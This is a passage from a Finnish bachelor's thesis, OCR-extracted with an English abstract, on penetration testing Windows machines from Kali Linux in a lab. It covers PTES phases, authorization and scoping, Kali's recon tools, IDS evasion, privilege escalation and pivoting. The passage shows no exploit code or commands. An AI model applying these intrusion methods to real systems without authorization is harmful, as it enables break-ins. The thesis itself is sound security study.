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MURTAUTUMISTESTAUS KALI LINUXILLA

Opinnaytetydn aiheena oli murtautumistestauksen toimenpiteet Windows-pohjaisissa
ymparistoissa. Esimerkkina oli tunkeutumisprosessiin liittyva tapahtumankulku. Paakysymyksena
oli, miten Windows-kayttojarjestelmédéan onnistuu paasemaan sisaan haavoittuvuuksia
hyoddyntamalla. Tutkimusote oli kvalitatiivinen. Tutkimuksen muoto itsessaan oli tapaustutkimus.

Opinnaytetyd esittelee murtautumistestauksen kaarta. Hyokkaysalusta Kali Linuxista esitellaén
tybkaluja, joita kaytetddn tietoturvatestauksen kaaressa. Murtautumistestauksen kaareen
kuuluvat valmisteluvaihe, tiedonkeruu, uhkamallinnus, haavoittuvuusanalyysi, murtautuminen,
murtautumistestauksen jalkivaihe ja raportointi.

Opinnaytetydn tekeminen lahti virtuaaliymparistén luomisesta. VirtualBoxilla luotiin
virtuaalikoneet. Kohdekoneiden alustoina olivat Windows 7, Windows 8.1 ja Windows 10.
Hyokkaavaksi alustaksi luotiin Kali Linux. VirtualBoxia kaytettiin reitittamaan pakettilikenne
virtuaalikoneiden vélilla, jotta virtuaalikoneet pystyisivat kommunikoimaan kesken&an.

Murtautumisprosessin simuloiminen aloitettiin  etsimalla paalla olevia koneita Nmapilla.
Havaituista koneista etsittin  Nmapilla avoimet portit ja varmistettin kohteena ollut
kayttojarjestelma. Taman jalkeen OpenVAS-ohjelmalla tehtiin haavoittuvuusanalyysi, joka l6ysi
tietoturva-aukkoja kohdekoneista. Haavoittuvuusskannerin havaitsemien tulosten visualisoinnin
pohjalta lahdettiin  etsiméaén Metasploitila haavoittuvuuden hyddyntgjid. Metasploitin
tietokannasta l6ytyi mahdollisuuksia hyddyntdd haavoittuvuuksia, joiden avulla kohdekoneisiin
onnistuttin  avaamaan  etdistunto  komentorivilla ja  korottamaan  kayttboikeudet
jarjestelmanvalvojan kayttdoikeuksiksi.

Tutkimuksen tuloksena Windowsin todettiin paivittdmattomana ja vaarin asetuksin olevan altis

hyokkayksille.  Opinnaytetyd antaa Iyhyen katsauksen  Windowsin  viimeisimpien
kayttojarjestelmien turvallisuustilanteesta.

ASIASANAT:

Windows, haavoittuvuus, offensiivinen tietoturva, murtautumistestaus.
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PENETRATION TESTING WITH KALI LINUX

The subject of this thesis was penetration testing Windows-based environments. The phases of
penetration testing were used as a demonstration. The main question was, how there could be
an access to the target operating systems. The approach was qualitative, while the form of the
research was a case study.

At first, the thesis introduces the theory and the phases of the security auditing process. In
addition to the theory, the thesis presents the features and the tools of the attacking platform. The
phases of penetration testing consist of pre-engagement interactions, information gathering,
threat modelling, vulnerability analysis, exploitation, post exploitation and reporting.

The work of the thesis began from creating the virtual environment. VirtualBox was used to create
the virtual machines. Windows 7, Windows 8.1 and Windows 10 were used as target machines,
while Kali Linux was created as the attacking platform. VirtualBox was used to route the packet
traffic between the virtual machine in order to allow the virtual machines to communicate between
each other.

The simulation of the penetration process was initiated by searching for available machines with
Nmap. From the detected machines Nmap was utilized to find open ports and to recognize
operating systems. After the sniffing process, a vulnerability analysis was conducted with the
OpenVAS program, which found vulnerabilities in the target machines. Based on the visualization
of the obtained results, a search for possible exploits was conducted on Metasploit. Working
exploits were found in the database of Metasploit, which succeeded in opening a remote
connection with a shell to the target machines. The privileges were also elevated into the
administrator privileges during the same session.

As the result of the research, an unpatched and incorrectly configured Windows was noted to be

prone to exploitation. The thesis gives a brief review of the security state of the latest Windows
operating systems.

KEYWORDS:

Windows, vulnerability, offensive security, penetration testing.
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SANASTO

Hyokkayskirjasto

Hyokkayspuu

Uhkamalli

Uhkamallinnus

Fuzzing

Takaportti

Kokoelma haavoittuvuuden osoittavaa tai haavoittuvuutta
hyodyntavaa valmiiksi kehitettya hydkkayskoodia (Shostack
2014, 101).

Muodollinen, jarjestelmallinen tapa kuvata jarjestelmien tur-
vallisuutta erinaisten hyokkaysten pohjalta. Mallissa kuvataan
tavoite alkupisteend ja eri tavat saavuttaa tavoite haaraumina.
(Schneier 1999.)

Uhkamalli on jasennelty esitys kaikesta informaatiosta, joka

vaikuttaa sovelluksen tietoturvaan (OWASP 2016a).

Uhkamallinnus on menetelma, jolla kaapataan, jarjestellaan ja
analysoidaan kaikkea uhkamallissa olevaa tietoa. Uhkamal-
linnus tuottaa uhkamallin, priorisoidun listan tietosuojaparan-
nuksista konseptiin, vaatimuksiin, suunnitteluun ja toteutuk-
seen. (OWASP 2016a.)

Menetelmd, jossa injektoidaan epaehytta tietoa automatisoi-
tuna haavoittuvuuden l6ytamiseksi (OWASP 2016b).

Sovellukseen piilotettu toiminto, joka mahdollistaa paasyn tie-
toon tai tietojarjestelméén suojauksen ohitse (TSK 2008).
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1 JOHDANTO

Opinnaytety6 tehtiin Turun ammattikorkeakoulun toimeksiannosta. Aihe valittiin tekijan
kiinnostumisen my6ta. Opinnaytetyon tarkoituksena oli lahted tutkimaan, kuinka Win-
dowsin tydpoytaversioihin olisi mahdollista tunkeutua valitulla hytkkaysalustalla. Ty6s-

kentelysta dokumentoitiin vaiheet kuvin ja sanoin.

Opinnaytetydn aiheena on toteuttaa murtautumistestaus Windows-pohjaisiin ymparistoi-
hin. Paatavoitteena on toteuttaa murtautumisprosessiin liittyvat toimenpiteet. Paakysy-
myksena on, miten Windows-kayttojarjestelméén onnistuu paasta sisdan haavoittuvuuk-

sia hyodyntamalla. Tutkimusote on kvalitatiivinen.

Opinnaytetydssa kaydaan lapi tietoturvaan liittyvia teorioita, murtautumisalustan tarkeim-
pia tyokaluja ja niiden toimintaa, esitetdan toteutuksen vaiheet ja lopuksi pohditaan ta-
voitteiden onnistumista ja mahdollisia toteutuksen heikkouksia. Tutkimusmetodina on ta-

paustutkimus.

Opinnaytetytn rakenne on jasennelty viiteen lukuun. Ensimmainen luku on johdanto,
joka antaa yleiskasityksen opinnaytetydssa kasitellyistd asioista. Toinen luku kasittelee
tietoturvatestausta, jossa kaydaan yleista teoriaa aihetta koskien seka kaydaan lapi tie-
toturvatestauksen kaarta. Kolmannessa luvussa kasitellaan valittua hyokkaysalustaa
Kali Linuxia. Kali Linuxista esitellaan tyokaluja, joita kaytetaan tietoturvatestauksen kaa-
ressa. Neljannessa luvussa on otettu kasittelyyn toimeksiannon toteutus, opinnaytetyon
soveltava osuus. Soveltava osuus kasittelee murtautumisprosessia Kali Linuxilla Win-
dows-kayttdjarjestelmiin, dokumentoi prosessin ja havainnollistaa vaiheet kuvilla. Viiden-
nessa luvussa on lopuksi yhteenveto, jossa kaydaan lapi opinnaytetydn haasteita ja on-

gelmakohtia.

Virtuaalikoneet luotiin VirtualBoxilla. Haavoittuvaisiksi alustoiksi valittiin Windows 7, 8.1
ja 10 kayttojarjestelmien ajankohtaisuuden vuoksi. Murtautumisalustaksi valittiin Kali Li-
nux, koska kyseinen kaytt6jarjestelma oli uusin versio BackTrackista. Testiymparistoksi
luotiin VirtualBoxia kayttdmalla erillinen sisainen verkko, joka koostui keskenaan kytke-
tyista virtuaalikoneista, jolloin testaukset oli mahdollista tehda irrallaan liikenteesta ulko-

maailman kanssa.
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Tietoturvatestausta tarvitsevat erityisesti yritykset, jotka kasittelevat korttitietoja, silla
PCI-DSS-standardi edellyttaa niitd testaamaan ja valvomaan tietoturvajarjestelmia saan-
nollisesti. Tietoturvatestaukseen kuuluu myés tutkiminen, silla nollapaivahaavoittuvuuk-
sien léytaminen on kilpajuoksua rikollisten kanssa. Loydetyt aukot lisataan julkiseen tie-
tokantaan, jota tietoturvatestaajat voivat kayttaa toimessaan tyokaluna. Opinnaytetydssa
testataan vain tyopoytaversioita Windows-kayttojarjestelmastd, kun taas hydkkayspinta-
ala ulottuu myo6s kayttojarjestelman palvelinversioihin. (Penetration Testing Execution
Standard 2014c.)

Tietoturvatestaus on tarkeaa, silla haavoittuvuuksia on tahan paivaan mennessa léydetty
VuIlDB:n mukaan 143 877. Sivuston mukaan paivittain lisdtdan keskimaarin 58,3 haa-
voittuvuutta, kun taas keskimadrin 195,3 haavoittuvuutta paivitetdan paivittain. Microsof-
tin tuotteissa, joihin opinnadytetydssa kasiteltavat Windows-kayttojarjestelméat kuuluvat,
haavoittuvuuksia on yhteensd 7 896, joista Windows-kayttojarjestelmad koskee
3 200:aa. Googlen Android -mobiilikayttojarjestelmalle haavoittuvuuksia on ilmoitettu
olevan 3 202. Kuvassa 1 havainnollistetaan ilmoitettujen haavoittuvuuksien ja altistumis-

ten vuosittainen mééara viimeisen vuosikymmenen ajalta. (VulDB 2019.)
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Kuva 1. Tavanomaisten haavoittuvuuksien ja altistumisten lukumaara. (Statista 2019.)
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2 TIETOTURVATESTAUS

Sanastokeskus TSK:n mukaan tietoturva on toimia, jotka pyrkivat takaamaan CIA-mallin
toimivuuden. CIA-malli on teoria, joka osittaa tietoturvan kolmeen eri alueeseen: luotta-
muksellisuuteen, eheyteen ja saatavuuteen (Confidentiality, Integrity, Availability). Nama
kolme osa-aluetta ovat kytkoksissa toisiinsa, yleensa yhden tai kahden osa-alueen ol-
lessa vahvoja, muut osa-alueet karsivat. Tietoturva on keino toteuttaa tietosuojaa. Valti-
onvarainministerion luoman vahtiohjeen mukaan tietoturvallisuus on osa organisaation
toiminnan laatua. Tietoturvajarjestelyjen tarkoituksena on varmistaa tietoaineistojen, tie-
tojarjestelmien, laitteistojen, tietoliikenteen ja palveluiden asianmukainen suojaus siten,
ettd niiden luottamuksellisuuteen, eheyteen ja saatavuuteen liittyvat riskit otetaan huo-
mioon. Tietoturvallisuus on yhteiskunnan toimintojen, palvelujen, sovellusten ja tietotek-
nisen infrastruktuurin perusedellytys, koska tietoturvatoimenpiteilla turvataan yksilon, yh-
teison ja yhteiskunnan etuja. (Valtiovarainministerio 2013; Sanastokeskus TSK 2004,
10-11)

Murtautumistestauksella pyritdé&n ennaltaehkaisemaan mahdollisia tulevia hyokkayksia
simuloimalla ulkoista uhkaa ja havainnoimalla saaduista tuloksista haavoittuvaisuuksia.
Murtautumistestaajien odotetaan jaljittelevan toimia, joita hyokkaaja voisi yrittdd. Mur-
tautumistestaajan tulee kyeta nayttamaan kohdennettujen jarjestelmien vaarantuminen.
Murtautumistestaajalla on velvollisuus katsoa ongelmaa jokaisesta kulmasta ja ilmoittaa
toimeksiantajalle mistd tahansa seikasta, joka vaikuttaa haitallisesti toimeksiantajan toi-
mintaan. Onnistuneimmat murtautumistestit kykenevat osoittamaan kiistattomasti haa-
voittuvuudet, joiden hyvaksikayttd aiheuttaa merkittavat tappiot tuloissa, jos havaittuun
tietoturva-aukkoon ei puututa. Murtautumistestaus vaatii syvempaa osaamistasoa kuin

haavoittuvuuksien analysointi. (Allen & Cardwell 2016, 50.)

2.1 Valmisteluvaihe

Ennen murtautumistestauksen aloittamista tulee ottaa huomioon asianmukaisen testin
laajuuden maéarittaminen, aikataulut, rajoitukset, testauksen tyyppi, miten kasitella kol-
mansien osapuolien hallinnoimia tai tarjoamia laitteistoa ja IP-tilaa. PTES (The Penetra-

tion Testing Execution Standard) méaarittelee yllamainitut rajauskohteet osana valmiste-
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luvaihetta. Murtautumistestausvaiheen toteuttamista edeltaa valmistelu. Huolimaton val-
mistelu johtaa testausrajojen paisumiseen, tyytymattémiin toimeksiantajiin ja oikeudelli-
siin ongelmiin. Valmisteluvaiheessa sovitaan rajat testaukselle, aloitus- ja lopetuspaiva-
maara, testattava osoiteavaruus ja verkkotunnus, toimintamekanismit kolmannen osa-
puolen kanssa, kaytettavat tunkeutumismetodit, maksuehdot, tavoitteet, luodaan kes-
kusteluyhteyden sdannét toimeksiantajan seka testaajan vdlille ja voimankayttdvaltuu-

det. (Penetration Testing Execution Standard 2014c.)

Jokaisella murtautumistestilla tulisi olla tavoite. Hyva murtautumistesti ei vain tarkasta
paikkaamattomia jarjestelmid, vaan myds organisaation kykyd havaita ongelmat. Orga-
nisaation kyvykkyyden osa-alueita ovat kyky havaita ja vastata tiedonkeruuseen, jaljitta-
miseen, ulkopuolelta tulevaan skannaukseen, haavoittuvuuksien analysointiin, tunkeu-
tumisyrityksiin, profilointiin ja valtuuttamattomaan tiedon siirtoon. (Penetration Testing
Execution Standard 2014c.)

Valmisteluvaiheeseen kuuluu ajankaytén hallinta. Aloitus- ja lopetuspadivan maaraami-
nen estaa rajauksen laajentumista, ja projektille annetaan selkea paatepiste. Projektin
keston arvioimiseen vaikuttaa testaajan kokemus. Arvioituun ajanjaksoon lisataan
yleensa viidesosa liikkumavaraa, jonka tulisi kattaa hairidtekijdista koituvat viivastymiset.
Viivastymisia voivat olla verkkosegmentin sulkeutuminen kesken testia tai toimenpiteita
ja johdon kanssa kokouksia vaativa l8ydetty haavoittuvuus. Paatetyt padivamaarat, ty6-
tehtavat ja ty6tunnit kirjataan allekirjoitettuun sopimukseen, jolloin sopijapuolilla selva
nakemys tilanteesta ja velvollisuuksista. (Penetration Testing Execution Standard
2014c.)

Valmisteluvaiheessa eritellddn tasmallisesti ip-alue ja verkkotunnus, jotka saadaan toi-
meksiantajalta alustavan kyselylomakkeen avulla. Kohteet voivat olla tarkoin maarattyja
toimeksiantajan ip-osoitteita, verkkoalueita tai verkkotunnuksia. Murtautumistestauksen
piiriin maaritetdan murtautumistestaajan ja lopullisen kohteen vélissa olevia jarjestelmia,
kuten palomuurit, tunkeutumisen havaitsemis- ja estojarjestelmat seka verkkolaitteet. Li-
saelementit, kuten alkupdan palveluntarjoajat ja kolmansien osapuolten palveluntarjoajat
merkitdan rajauksen laajuudesta riippumatta. Ennen hydkkayksen aloittamista tulee vah-
vistaa toimeksiantajan omistusoikeus hyodkattaviin kohteisiin. (Penetration Testing Exe-
cution Standard 2014c.)

Ajoittain tulee vastaan tilanteita, joissa sopimus asiakkaan kanssa siséaltda kolmannen

osapuolen tarjoaman palvelun tai sovelluksen testaamista, jolloin palvelua tai sovellusta
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tarjoavalta kolmannelta osapuolelta on saatava suostumus testauksen suorittamiseen.
Kolmansille osapuolille tulee ilmoittaa testin rajat ja ajoittuminen. Kolmansia osapuolia
ovat pilvipalveluiden tarjoajat, internet-palveluntarjoajat, keskitetyn turvapalveluntarjo-
ajat ja maat, joissa testattavia palvelimia yllapidetaan. Pilvipalveluntarjoajia tulee infor-
moida hyokkayksesta, heidan pitda tunnustaa testauksen tapahtuvan ja myontaa lupa
testiorganisaatiolle testaukseen. Pilvipalveluntarjoajan kanssa tulee sopia turvayhteys-
tieto, johon ilmoitetaan havaittaessa pilvipalveluntarjoajan asiakkaisiin vaikuttava tieto-
turvahaavoittuvuus. Internet-palveluntarjoajien ehdot tulee tarkistaa asiakkaan kanssa.
Internet-palveluntarjoaja voi vieroksua tai estaa haitalliseksi kokemaansa tietoliiken-
netta. Lahtokohtaisesti taysin keskitetyn turvapalveluntarjoajan omistamia palveluja tai
jarjestelmia testattaessa tulee niiden omistajalle ilmoittaa testauksesta. Testaajan tulee
vahvistaa palvelimien sijaintimaa ja tarkistaa alueellinen lainsaadanto ennen testauksen

aloittamista. (Penetration Testing Execution Standard 2014c.)

Mikali testataan, toimeksiantajan kanssa tulee sopia hyvaksyttavista kayttajan manipu-
loinnin keinoista kirjallisesti ennen testauksen aloittamista, silld osa kayttdjan manipu-
loinnin ja kohdennetun tietojenkalastelun verukkeiden aihepiireista ei sovellu yritysym-
paristoon. Ennen ensikosketusta murtautumistestaukseen, toimeksiantajan kanssa tulisi
keskustella rasitustestauksesta tai palvelunestotestauksesta. (Penetration Testing Exe-
cution Standard 2014c.)

Yritysanalyysi on hyva keino havaita toimeksiantajan turvallisuustilan kehittyneisyys. Yri-
tysanalyysissa kartoitetaan organisaation tietosuojakeinojen tila, miten organisaatiossa
huomioidaan tietoturva. Turvallisuustilaltaan puutteellisemmat yritykset hyotyvat enem-
man haavoittuvuusanalyysista kuin murtautumistestauksesta. Testauspalveluntarjoajan
kannattaa ottaa selvda aiemmin I0ydetyistd haavoittuvuuksista. (Penetration Testing
Execution Standard 2014c.)

2.2 Tiedonkeruu

Tiedonkeruu on tiedustelun suorittamista kohteeseen kootakseen mahdollisimman pal-
jon tietoa, jota kaytetddn hyddyksi haavoittuvuuksien arviointi- ja tunkeutumisvaiheen
aikana. Julkisen lahteen tiedustelu on tietojenkeruun muoto, mika sisaltaa tiedon loyta-
mistd, valitsemista ja kokoamista julkisesti avoimista lahteista, mika jAsenneltyna tuottaa

merkityksellista tietoa. Julkisen l&hteen tiedustelu antaa informaatiota eri paasyreiteista
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organisaatioon. Sisaantulopisteet voivat olla fyysisisid, elektronisia tai ihnmisia. (Penetra-
tion Testing Execution Standard 2014d.)

Kohdeorganisaatiota lahestyttaessa on huomioitava, etta toimeksiantajalla on kaytos-
saan mahdollisesti useampi ylatason verkkotunnus ja sivutoiminimia. Talléin tietoturva-
testaajan tulee pysya tehdyn rajauksen puitteissa ja jattéaa rajauksen ulkopuolelle jaéneet
kohteet huomiotta. Tietojenkeruuvaihetta tulee kohdistaa asianmukaisiin kohteisiin huo-
mioimalla testaukselle annetut aikarajat. Tietojenkeruussa keskitytaan erityisesti hankki-
maan tietoa kriittisistd voimavaroista, vaikka kaikki keratty informaatio on tarkeaa. (Pe-

netration Testing Execution Standard 2014d.)

Julkisen lahteen tiedustelu jakautuu kolmeen eri osa-alueeseen, joita ovat passiivinen,
semi-passiivinen ja aktiivinen julkisen lahteen tiedustelu. Passiivisella tiedustelulla kera-
taan tietoa kohteesta ohjaamatta liikennettd kohdeorganisaatioon testiymparistosta.
Passiivisen tiedustelun tulokset koostuvat lahinna arkistoiduista ja varastoiduista tie-
doista. Passiivisesta tiedustelusta on hyotya, kun vaatimuksena on kerata tietoa herat-
tamatta kohteen huomiota. Semi-passiivisen tiedustelun tarkoituksena on profiloida
kohde keinoilla, jotka nayttaytyvat normaalina internet-liikenteena ja kayttaytymisena.
Semi-passiivinen tiedustelu ei laukaise kohteen suojautumismekanismeja, mutta jattaa
jalkensa lokeihin. Aktiivinen tiedustelu on verkon kartoittamista, aktiivista palveluiden lu-
ettelointia ja haavoittuvuusskannausta avoimiin palveluihin, julkaisemattomien hakemis-
tojen, tiedostojen ja palvelimien hakemista. Kohteen tulisi tunnistaa aktiivinen tiedustelu
epdilyttdvana tai pahansuopana kayttaytymisena. (Penetration Testing Execution Stan-
dard 2014d.)

2.3 Uhkamallinnus

Uhkamallinnuksessa kaytetdén teoreettisia malleja I16ytdmaan turvallisuusongelmia. Uh-
kamallinnuksella pystytdan ennakoimaan mahdollisia tietoturvauhkia etukéteen ennen
varsinaista toteutusta ja ennen kuin mahdollinen tietoturvauhka tai -ongelma ilmenee.
Uhkamallinnuksen laatiminen auttaa varautumaan kokonaisvaltaisemmin mahdollisiin
uhkiin vahentden samalla huolimattomasta varautumisesta johtuvaa resurssikatoa. Re-
surssikadolla tarkoitetaan vajausta budjetissa, joka syntyy ylimaaraisistd kuluista. Yli-
maaraiset kulut muodostuvat tehottomasta tai suunnittelemattomasta toiminnasta. Suun-

nittelemattomalla hyokkayksella on vaarana saada testaaja paljastamaan itsensa.
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Beggsin mukaan (2014, 92—-93) murtautumistestaajat omivat verkkosuunnittelijoiden ke-
hittdmé&n uhkamallinnukseksi kutsutun menetelméan, joka oli alun perin suunniteltu kehit-
tamaan suojaavia vastatoimenpiteita hydkkaystéa vastaan. Beggs kutsuu menetelmaa of-
fensiiviseksi uhkamallinnukseksi. Offensiivinen uhkamallinnus on kaavamainen lahesty-
mistapa, joka sitoo yhteen tiedustelun tulokset ja tutkimuksen, jolla kehitetaan hyok-
kaysstrategia. Lahestymistavassa saatavilla olevat kohteet jaetaan seuraaviin tyyppei-
hin; ensisijaisiin kohteisiin, toissijaisiin kohteisiin ja tertidarisiin kohteisiin. Ensisijaiset
kohteet vaarantuneina tukevat valittémasti tukevat padamaaraa, kun taas toissijaiset koh-
teet tarjoavat tietoa tukemaan hyokkaystéa tai sisddnpaasya ensisijaiseen kohteeseen.
Tertidariset kohteet eivat valttamatta liity testaukseen tai hyokkayspaamaaraan, mutta
saattavat tarjota informaatiota tai toimia hairitekijana varsinaiselle hyokkaykselle.

Shostack (2014) esittelee teoksessaan uhkamallinnuksen keinoksi STRIDE-mallin, joka
erittelee mahdollisia uhkia. STRIDE-malli jakaa uhat huijauksiin (Spoofing), peukalointiin
(Tampering), puuttumiseen (Repudiation), tietojen paljastamiseen (Information Disclo-
sure), palvelun estoon (Denial of Service) ja kayttdoikeuksien korottamiseen (Elevation
of Privilege). Erittelyn jalkeen valitaan tapa lahestya uhkia, johon Shostack tarjoaa nelja
tapaa; uhkien lieventdminen, eliminointi, vastuunsiirto uhkien hoitamisesta toiselle osa-
puolelle ja niiden hyvaksyminen. Uhkien k&sittelyn jalkeen malli tarkistetaan, todetaan
relevanttius nykyiseen malliin ja tehtyihin paatoksiin. STRIDE-mallin on kritisoitu olevan
lian abstrakti uhkien huomioinnissa, ja Shostack itse yhtyy kritiikkiin. (Shostack 2014,
11-14, 31.)

Vaihtoehtoisena keinona STRIDE-mallille on esitetty hyotkkayskirjastoja ja hyokkays-
puita. Hyokkayspuita voidaan kayttda uhkien ldytamiseen tai muiden rakennuspalikoiden
avulla Idydettyjen uhkien jarjestelemiseen. Hyokkayskirjastoa kayttaessa on huomioi-
tava, ettd eri kirjastot palvelevat eri tarkoituksia. Hyokkayskirjaston valinnassa paatetaén
kohderyhma, yksityiskohtaisuuden taso ja laajuus. Kohderyhma viittaa siihen, kehen kir-
jasto tahtaa. Yksityiskohtaisuuden tasolla kirjastolle valitaan tarkkuus ja huolehditaan,
ettd valittu tarkkuuden laatu pysyy tasaisena. Maarittdmalla laajuus saadaan karsittua
uhkamallin kannalta turhia kirjastoja. (Shostack 2014, 87, 102.)
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2.4 Haavoittuvuusanalyysi

Haavoittuvuusanalyysin tarkoituksena on l6ytéa heikkouksia, bugeja tai puutteita jarjes-
telmassa. Haavoittuvuusanalyysi on prosessi, jonka tarkoituksena on etsia puutteita koh-
teissa, joita testataan. Menetelma saa muotonsa merkittavasti testattavan komponentin
ja laajuuden mukaan. Haavoittuvuusanalyysin haasteena on maarittaa, kuinka syventa-
vasti kohdetta tarkastellaan. Haavoittuvuusanalyysissa tyypillisesti haavoittuvuudet luet-
teloidaan ja arvioidaan, ja testaus voidaan tehda ilman todennusta tai todennuksen
kanssa. Useimmat haavoittuvuuksien skannaus- ja hallintaratkaisut tuottavat toiminta-
kelpoisia raportteja, jotka erittelevat lieventamisstrategioita ratkaisuina havaittuihin on-
gelmiin. (Allen 2012, 8; Allen & Cardwell 2016, 14; DeMott 2008, 31.)

Haavoittuvuusanalyysi voidaan jakaa neljaén osioon, joita ovat aktiivinen ja passiivinen
testaaminen, validointi ja tutkiminen. Aktiivinen testaus sisallyttaa suoraa interaktiota tes-
tattavan komponentin kanssa. Aktiivinen testaus voi sisaltaa seka portti- tai palvelupoh-
jaista testausta, ettd otsakkeen nappaamista. Aktiivinen testaus voi olla manuaalista tai
automatisoitua testaamista. Aktiivisessa testauksessa kaytetdn yleisia ja verkkopohjai-
sia haavoittuvuusskannereita, kaapataan portista otsake porttiin sidotun palvelun ja so-
velluksen tunnistamiseksi, luetteloidaan hakemistoja automatisoidusti osio kerrallaan,
tunnistetaan verkkopalvelimen versio haavoittuvuuksineen ja testataan tavanomaisesti
haavoittuvat protokollat l&pi. Passiivisessa haavoittuvuusanalyysissa analysoidaan me-
tatietoa ja monitoroidaan liikkennetta. Tulosten validointi on tarkeaa, silla useiden tydka-
lujen kanssa toimittaessa l6ydosten valinen korrelaatio voi monimutkaistua. Validointi voi
olla manuaalista, protokollapohjaista tai perustua hyokkaysteihin. Hyokkaystiet voidaan
vahvistaa luomalla hyokkayspuita, simuloimalla kohdeymparistda testilaboratoriossa tai
visuaalisella varmistamisella. Tutkiminen voidaan jaotella julkiseen ja yksityiseen tutki-
mukseen. Julkisessa tutkimuksessa kaydaan lavitse julkisia haavoittuvuustietokantoja,
myyjan tekemia ilmoituksia heikkouksista, yleisia tai oletussalasanoja, tietoturvan kovet-
tamisohjeita. Yksityisessa tutkimuksessa rakennetaan kopio ymparistosta, testataan
konfiguraatioita koeymparistdssa ja injektoidaan tahallisesti virhekoodia kohdesovelluk-
seen. Yksityiseen tutkimukseen kuuluu mygds potentiaalisten hyokkaysteiden tai -vekto-
rien tunnistaminen sekd koodin purku ja analysointi. (Penetration Testing Execution
Standard 2014a.)
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2.5 Murtautuminen

Varsinainen murtautumisvaihe toteutetaan hytdyntamalla haavoittuvuuksia. Haavoittu-
vuutta hyddyntamalla taataan tunkeutumisen onnistuminen. Murtautumisvaihe murtau-
tumistestauksessa keskittyy ainoastaan vakiinnuttamaan paasyn kohteeseen ohitta-
malla tietoturvakontrollit. Tarkeimpana fokuksena on tunnistaa paasisaantulopiste jarjes-

telmaan ja arvokkaat voimavarat. (Penetration Testing Execution Standard 2014b.)

Huolellisen haavoittuvuuksien tutkimisen jalkeen on mahdollista murtautua kohdejarjes-
telmaan saatavilla olevien haavoittuvuuksien kautta. Kuitenkin joskus tarvitaan lisatutki-
musta tai muutoksia olemassa olevaan haavoittuvuutta hyédyntavaan tyokaluun, jotta
haavoittuvuutta hyddyntdava menetelma toimisi kunnolla. Kehittyneet haavoittuvuuden
hyodyntamistarkoitukseen soveltuvat tydkalut helpottavat tilanteeseen mukautumista.
Murtautuminen voidaan jakaa kolmeen vaiheeseen; murtautumisen valmisteluun, mur-

tautumiseen ja murtautumisen jalkivaiheeseen. (Ali ym. 2014, 67.)

2.6 Murtautumistestauksen jalkivaihe

Kohteen murtamisen jéalkeen tunkeutuminen on onnistunut. Auditoija pystyy liikkumaan
vapaasti jarjestelméassa, riippuen auditoijan paasyoikeuksien laadusta. Paasyoikeuksia
voidaan korottaa kayttamalla mita tahansa paikallisia haavoittuvuuden hyddyntajia, jotka
sopivat jarjestelman ymparistoon ja kaytettyind myontavat jarjestelmanvalvojan tai jar-
jestelmatason oikeudet. Murrettua kohdetta voidaan kayttaa tekemaan jatkohyokkayksia
paikallisen verkon koneille. Kyseinen prosessi voi olla rajattu tai rajoittamaton riippuen
annetun kohteen laajuudesta. Murretusta kohteesta on myds mahdollista hankkia lisda
tietoa monitoroimalla verkkoliikennettd, murtamalla palvelujen salasanoja ja soveltaa
paikallisen verkon ip-osoitehuijauksen taktiikoita. Kayttdoikeuksien korottamisella pyri-
taan saavuttamaan mahdollisimman korkeimman luokan paasy jarjestelmaan. (Ali ym.
2014, 67-68.)
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2.7 Raportointi

Dokumentointi, raportointi ja l6ydettyjen, varmistettujen, hyddynnettyjen haavoittuvuuk-
sien esittdminen paattaa murtautumistestausaktiviteetit. Eettisesta nakdkulmasta tarkas-
teltuna edelld mainittu toiminta on erityisen tarkeaa, jotta paallysto ja tekninen tiimi voivat
tutkia tunkeutumisen menetelmaa ja yrittdd tukkia olemassa olevia tietoturva-aukkoja.
Raportteja voidaan kayttaa kuvantamaan ja vertailemaan kohdejarjestelman eheyden

tilaa ennen ja jalkeen murtautumisprosessin. (Ali ym. 2014, 67—-68.)
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3 KALI LINUX - TYOKALUT
MURTAUTUMISTESTAUSPROSESSIN
TOTEUTUKSEEN

Kali Linux on kehittyneeseen murtautumistestaukseen ja tietoturva-auditointiin kayva
Debian-pohjainen Linux-distribuutio. Kali sisdltaa satoja tietoturvaan liittyvia tydkaluja,
jotka soveltuvat erindisiin tietoturvatapauksiin, kuten murtautumistestaukseen, tekniseen
rikostutkintaan ja takaisinmallinnukseen (reverse engineering). Kali Linuxin on kehittanyt
Offensive Security Ltd. (Offensive Security 2016).

Vuonna 2013 julkaistiin Kali Linux 1.0. Kali Linuxia kuvattiin kehittyneimmaksi, vankim-
maksi ja vakaimmaksi murtautumistestausalustaksi tuolloin. Kali on turvallisempi ja yri-
tyskayttoon valmis versio BackTrackista. Kali Linuxia varten uudelleenpakattiin 600 tyo-
kalua. Tytkalujen massiivinen uudelleenpakkaaminen loi Kali-kayttajille mahdollisuuden
ladata lahdekoodi jokaiselle tytkalulle. Kali synkronoi itsensa neljasti paivassa Debian-
pakettiarkistojen kanssa, mikd mahdollistaa turvallisuuspaikkausten ja paivityksien ajan-
tasaisuuden. Kayttajat pystyvat kustomoimaan Kali Linuxia merkittdvasti omanlaisek-
seen ja saumaton pienten ja suurten pdivitysten ehkdisi tarpeen asentaa kustomoitu
kayttojarjestelma uusiksi paivitysten saapuessa. Kali Linux 2.0 (Sana) keskittyi huolta-
maan jarjestelman kayttokokemusta ja yllapitamaan paivitettyjen pakettien ja tytkalujen
arkistoa. Nykyinen Kali Linux Rolling on jatkuva jakelu, jonka tarkoituksena on olla vii-
meinen versio. Kali Linux Rollingin periaatteena on pitaad kayttajat jatkuvasti paivitettyna
ja saattaa paivitykset seka paikkaukset luonnin jalkeen valittbmasti kayttgjille. (Aha-
roni ym. 2017, XIV.)

3.1 Tiedonkeruu - palvelujen luettelointi

Aktiivisten koneiden tunnistaminen

Aktiivisten koneiden tunnistamisessa voi joutua peittdmaan jalkensa IDS- ja IPS-jarjes-
telmilta kayttamalla haivetekniikoita. Kohdekoneiden tunnistamiseen tarkoitettuja tytka-
luja Kali Linuxissa ovat: ping, arping, fping, hping3, nping, ntbscan, alive6, detect-new-

ip6, passive_discovery6, pOf ja nmap. Ping-tydkalulla voidaan tarkistaa, onko tietty tieto-
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kone saatavilla. Ping-tytkalu toimii [ahettamalla ICMP-paketin kohdekoneelle. Mikali tie-
tokone on saatavilla eika palomuuri ei estd ICMP-paketin kulkua, kohdekone vastaa
ICMP-paketilla.

Arping-tyokalua kaytetdan lahettamaan signaali isantaan paikallisessa lahiverkossa
(LAN) kayttamalla ARP-pyyntd (Address Resolution Protocol). Fping-tydkalun etuna on
verrattuna muihin tyokaluihin, ettda ICMP-paketin pystyy lahettdmaan useaan koneeseen
